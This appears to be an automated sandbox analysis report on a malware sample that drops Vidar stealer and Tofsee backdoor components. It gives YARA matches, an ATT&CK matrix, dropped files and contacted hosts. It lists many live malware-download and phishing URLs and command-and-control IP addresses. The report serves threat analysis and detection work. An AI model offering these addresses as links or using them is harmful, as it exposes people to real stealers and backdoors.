Source: Yara match	File source: 00000001.00000002.297326406.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.370019662.0000000000620000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.442728079.0000000000630000.00000004.00000001.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match	File source: 0000002F.00000002.595854272.0000000000DF0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000002.574522590.00000000007C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.566415908.0000000000961000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000002.525192064.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.537263879.00000000008C7000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.533111165.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000003.469387095.0000000000980000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000003.476837740.0000000000ED0000.00000004.00000001.sdmp, type: MEMORY

Yara detected Tofsee

Show sources

Source: Yara match	File source: 18.2.18D.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.sdiimdop.exe.540e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.svchost.exe.2bb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.sdiimdop.exe.600000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.sdiimdop.exe.600000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.18D.exe.540e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.3.sdiimdop.exe.570000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.18D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.18D.exe.560000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.sdiimdop.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.sdiimdop.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.svchost.exe.2bb0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000002.396765412.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.395236716.0000000000570000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.550647204.0000000002BB0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.396983806.0000000000600000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.396894340.0000000000540000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.369452134.0000000000560000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 18D.exe PID: 4992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sdiimdop.exe PID: 4560, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 5180, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\18D.exe	Code function: 18_2_004088B0 CreateThread,CreateThread,send,recv,socket,connect,closesocket,setsockopt,bind,listen,accept,select,getpeername,getsockname,		18_2_004088B0
Source: C:\Windows\SysWOW64\dbgxuqbr\sdiimdop.exe	Code function: 31_2_004088B0 CreateThread,CreateThread,send,recv,socket,connect,closesocket,setsockopt,bind,listen,accept,select,getpeername,getsockname,		31_2_004088B0

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Spearphishing Link1	Windows Management Instrumentation1	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools31	OS Credential Dumping1	System Time Discovery2	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer14	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Valid Accounts1	Native API11	Application Shimming1	Application Shimming1	Deobfuscate/Decode Files or Information11	Input Capture1	Account Discovery1	Remote Desktop Protocol	Data from Local System1	Exfiltration Over Bluetooth	Encrypted Channel12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution1	Valid Accounts1	Valid Accounts1	Obfuscated Files or Information3	Security Account Manager	File and Directory Discovery2	SMB/Windows Admin Shares	Input Capture1	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Command and Scripting Interpreter2	Windows Service14	Access Token Manipulation1	Software Packing34	NTDS	System Information Discovery147	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol4	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Service Execution3	Network Logon Script	Windows Service14	Timestomp1	LSA Secrets	Query Registry1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol35	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Process Injection713	DLL Side-Loading1	Cached Domain Credentials	Security Software Discovery881	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	File Deletion1	DCSync	Process Discovery12	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading131	Proc Filesystem	Virtualization/Sandbox Evasion471	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Valid Accounts1	/etc/passwd and /etc/shadow	Application Window Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Access Token Manipulation1	Network Sniffing	System Owner/User Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Virtualization/Sandbox Evasion471	Input Capture	Remote System Discovery1	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop
Compromise Software Supply Chain	Unix Shell	Launchd	Launchd	Process Injection713	Keylogging	Local Groups	Component Object Model and Distributed COM	Screen Capture	Exfiltration over USB	DNS			Inhibit System Recovery
Compromise Hardware Supply Chain	Visual Basic	Scheduled Task	Scheduled Task	Hidden Files and Directories1	GUI Input Capture	Domain Groups	Exploitation of Remote Services	Email Collection	Commonly Used Port	Proxy			Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Link
nkINykHreE.exe	25%	Virustotal	Browse
nkINykHreE.exe	26%	ReversingLabs
nkINykHreE.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\115B.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\scifbcd	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\CBA.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\4187.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\18D.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\2997.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\315E.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\4BED.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1B15.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\28C2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\4583.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\haifbcd	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\sdiimdop.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\2757.exe	100%	Joe Sandbox ML
C:\ProgramData\sqlite3.dll	3%	Metadefender	Browse
C:\ProgramData\sqlite3.dll	0%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
1.2.nkINykHreE.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.nkINykHreE.exe.5415a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
17.2.2997.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.0.haifbcd.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
39.0.2757.exe.1150000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
39.0.2757.exe.1150000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
31.2.sdiimdop.exe.540e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
31.3.sdiimdop.exe.570000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
17.3.2997.exe.5d0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
34.2.svchost.exe.2bb0000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
31.2.sdiimdop.exe.600000.2.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
15.0.haifbcd.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.1.nkINykHreE.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
39.0.2757.exe.1150000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.3.18D.exe.560000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
15.1.haifbcd.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
39.2.2757.exe.1150000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen	Download File
16.0.115B.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.nkINykHreE.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.2.18D.exe.400000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
1.0.nkINykHreE.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
38.3.scifbcd.5e0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.1.115B.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.0.115B.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.0.115B.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
38.2.scifbcd.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
17.2.2997.exe.5c0e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.2.haifbcd.4715a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.2.haifbcd.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
38.2.scifbcd.5d0e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
39.1.2757.exe.1150000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
39.0.2757.exe.1150000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
39.3.2757.exe.1070000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
18.2.18D.exe.540e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
31.2.sdiimdop.exe.400000.0.unpack	100%	Avira	BDS/Backdoor.Gen	Download File
14.2.115B.exe.4715a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
1.0.nkINykHreE.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
15.0.haifbcd.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
42.2.4187.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1127993	Download File
16.2.115B.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://185.7.214.171:8080/6.php	100%	URL Reputation	malware
http://65.108.180.72/msvcp140.dll	10%	Virustotal		Browse
http://65.108.180.72/msvcp140.dll	100%	Avira URL Cloud	malware
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://91.243.44.130/stlr/maps.exe	9%	Virustotal		Browse
http://91.243.44.130/stlr/maps.exe	100%	Avira URL Cloud	malware
http://65.108.180.72/mozglue.dll	11%	Virustotal		Browse
http://65.108.180.72/mozglue.dll	100%	Avira URL Cloud	malware
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://91.219.236.18/capibarl	100%	Avira URL Cloud	phishing
http://crl.ver)	0%	Avira URL Cloud	safe
http://65.108.180.72/706	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
https://dynamic.t	0%	URL Reputation	safe
http://185.7.214.239/sqlite3.dll	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
http://194.180.174.41/	0%	Avira URL Cloud	safe
http://privacytools-foryou-777.com/downloads/toolspab2.exe	100%	Avira URL Cloud	malware
http://91.219.236.148/capibarN	0%	Avira URL Cloud	safe
http://116.202.186.120/vcruntime140.dll	0%	Avira URL Cloud	safe
http://65.108.180.72/freebl3.dll	100%	Avira URL Cloud	malware
http://data-host-coin-8.com/files/8584_1641133152_551.exe	100%	Avira URL Cloud	malware
http://data-host-coin-8.com/game.exe	100%	Avira URL Cloud	malware
http://data-host-coin-8.com/files/2184_1641247228_8717.exe	100%	Avira URL Cloud	malware
http://91.219.236.148/capibarl	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id13Response	0%	URL Reputation	safe
http://185.7.214.239/POeNDXYchB.php	0%	Avira URL Cloud	safe
http://91.219.236.148/capibarg	0%	Avira URL Cloud	safe
http://91.219.236.18/3	100%	Avira URL Cloud	phishing
http://194.180.174.53/capibar0	100%	Avira URL Cloud	phishing
http://unic11m.top/install1.exe	100%	Avira URL Cloud	malware
http://tempuri.org/Entity/Id22Response	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.mediafire.com	104.16.203.237	true	false	high
kent0mushinec0n3t.casacam.net	95.143.179.186	true	false	high
bitly.com	67.199.248.15	true	false	high
patmushta.info	194.87.235.183	true	false	high
cdn.discordapp.com	162.159.135.233	true	false	high
mstdn.social	116.202.14.219	true	false	high
natribu.org	178.248.232.78	true	false	high
unicupload.top	54.38.220.85	true	false	high
qoto.org	51.91.13.105	true	false	high
amogohuigotuli.at	152.0.118.227	true	false	high
host-data-coin-11.com	89.223.65.17	true	false	high
bit.ly	67.199.248.11	true	false	high
f0616073.xsph.ru	141.8.193.236	true	false	high
f0616068.xsph.ru	141.8.193.236	true	false	high
microsoft-com.mail.protection.outlook.com	40.93.207.1	true	false	high
f0616071.xsph.ru	141.8.193.236	true	false	high
goo.su	172.67.139.105	true	false	high
transfer.sh	144.76.136.153	true	false	high
privacytools-foryou-777.com	89.223.65.17	true	false	high
data-host-coin-8.com	89.223.65.17	true	false	high
unic11m.top	54.38.220.85	true	false	high
vk.com	87.240.190.72	true	false	high
srtuiyhuali.at	unknown	unknown	false	high
fufuiloirtu.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.7.214.171:8080/6.php	true	URL Reputation: malware	unknown
http://65.108.180.72/msvcp140.dll	true	10%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://91.243.44.130/stlr/maps.exe	true	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://65.108.180.72/mozglue.dll	true	11%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://65.108.180.72/706	true	Avira URL Cloud: safe	unknown
http://185.7.214.239/sqlite3.dll	false	Avira URL Cloud: safe	unknown
http://privacytools-foryou-777.com/downloads/toolspab2.exe	true	Avira URL Cloud: malware	unknown
http://116.202.186.120/vcruntime140.dll	true	Avira URL Cloud: safe	unknown
http://65.108.180.72/freebl3.dll	true	Avira URL Cloud: malware	unknown
http://data-host-coin-8.com/files/8584_1641133152_551.exe	true	Avira URL Cloud: malware	unknown
http://data-host-coin-8.com/game.exe	true	Avira URL Cloud: malware	unknown
http://data-host-coin-8.com/files/2184_1641247228_8717.exe	true	Avira URL Cloud: malware	unknown
http://185.7.214.239/POeNDXYchB.php	false	Avira URL Cloud: safe	unknown
http://f0616073.xsph.ru/Music.exe	false		high
http://unic11m.top/install1.exe	true	Avira URL Cloud: malware	unknown
http://f0616068.xsph.ru/crp.exe	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id12Response	CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.ditu.live.com/REST/v1/Traffic/Incidents/	svchost.exe, 00000007.00000003.305193025.000001A73205A000.00000004.00000001.sdmp, svchost.exe, 00000007.00000002.305687704.000001A73205C000.00000004.00000001.sdmp	false		high
https://t.me/capibar	4187.exe, 0000002A.00000002.553213817.0000000000ADD000.00000004.00000001.sdmp, 4187.exe, 0000002A.00000002.553183370.0000000000AC8000.00000004.00000001.sdmp	false		high
http://tempuri.org/	CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp, CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id21Response	CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id15Response	CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
https://api.ip.sb/ip	CBA.exe, 00000013.00000002.408243360.0000000004121000.00000004.00000001.sdmp, CBA.exe, 00000021.00000000.402116569.0000000000402000.00000040.00000001.sdmp, CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://91.219.236.18/capibarl	4187.exe, 0000002A.00000002.594868854.000000000271D000.00000004.00000001.sdmp	true	Avira URL Cloud: phishing	unknown
http://crl.ver)	svchost.exe, 00000004.00000002.594562074.0000020254C62000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id24Response	CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 00000007.00000003.305173517.000001A732061000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	false		high
https://dynamic.t	svchost.exe, 00000007.00000003.305141180.000001A732064000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 00000007.00000003.305173517.000001A732061000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id5Response	CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD	CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 00000007.00000003.305193025.000001A73205A000.00000004.00000001.sdmp, svchost.exe, 00000007.00000002.305687704.000001A73205C000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 00000007.00000003.305193025.000001A73205A000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id10Response	CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://tempuri.org/Entity/Id8Response	CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 00000007.00000003.305173517.000001A732061000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://194.180.174.41/	4187.exe, 0000002A.00000002.596141885.0000000002726000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	CBA.exe, 00000021.00000002.632885407.0000000003540000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://91.219.236.148/capibarN	4187.exe, 0000002A.00000002.596141885.0000000002726000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/06/addressingex	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 00000007.00000003.283449741.000001A732031000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://91.219.236.148/capibarl	4187.exe, 0000002A.00000002.594868854.000000000271D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Entity/Id13Response	CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000007.00000002.305659800.000001A73203C000.00000004.00000001.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	CBA.exe, 00000021.00000002.614533187.00000000034B1000.00000004.00000001.sdmp	false		high
http://91.219.236.148/capibarg	4187.exe, 0000002A.00000002.602443827.0000000002755000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://91.219.236.18/3	4187.exe, 0000002A.00000002.596141885.0000000002726000.00000004.00000001.sdmp	true	Avira URL Cloud: phishing	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct	CBA.exe, 00000021.00000002.633551102.0000000003544000.00000004.00000001.sdmp	false		high
